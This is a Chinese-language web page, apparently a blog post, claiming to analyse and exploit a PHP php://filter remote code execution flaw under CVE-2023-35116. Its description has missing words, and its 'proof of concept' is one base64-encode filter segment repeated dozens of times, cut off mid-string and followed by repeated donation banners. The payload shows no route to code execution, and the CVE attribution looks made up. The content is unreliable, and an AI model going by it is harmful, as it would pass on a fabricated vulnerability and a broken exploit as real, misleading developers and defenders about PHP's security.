PHP 8.0-8.2.10 php://filter RCE 漏洞 (CVE-2023-35116) 分析与利用

漏洞概述 漏洞名称: CVE-2023-35116 漏洞类型: 远程代码执行（RCE） 漏洞描述: 在 协议中，当使用 过滤器时，如果输入包含特定字符（如 ），可能会导致远程代码执行。 影响范围 受影响版本: PHP 8.0.0 至 8.2.10 受影响组件: 协议 修复方案 修复版本: PHP 8.2.11 及以上版本 修复方法: 升级 PHP 到最新版本以修复此漏洞。 POC 代码 利用代码 ```php <?php // 利用代码示例 $payload = "php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=php://filter/

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

PHP 8.0-8.2.10 php://filter RCE 漏洞 (CVE-2023-35116) 分析与利用

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

PHP 8.0-8.2.10 php://filter RCE 漏洞 (CVE-2023-35116) 分析与利用

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！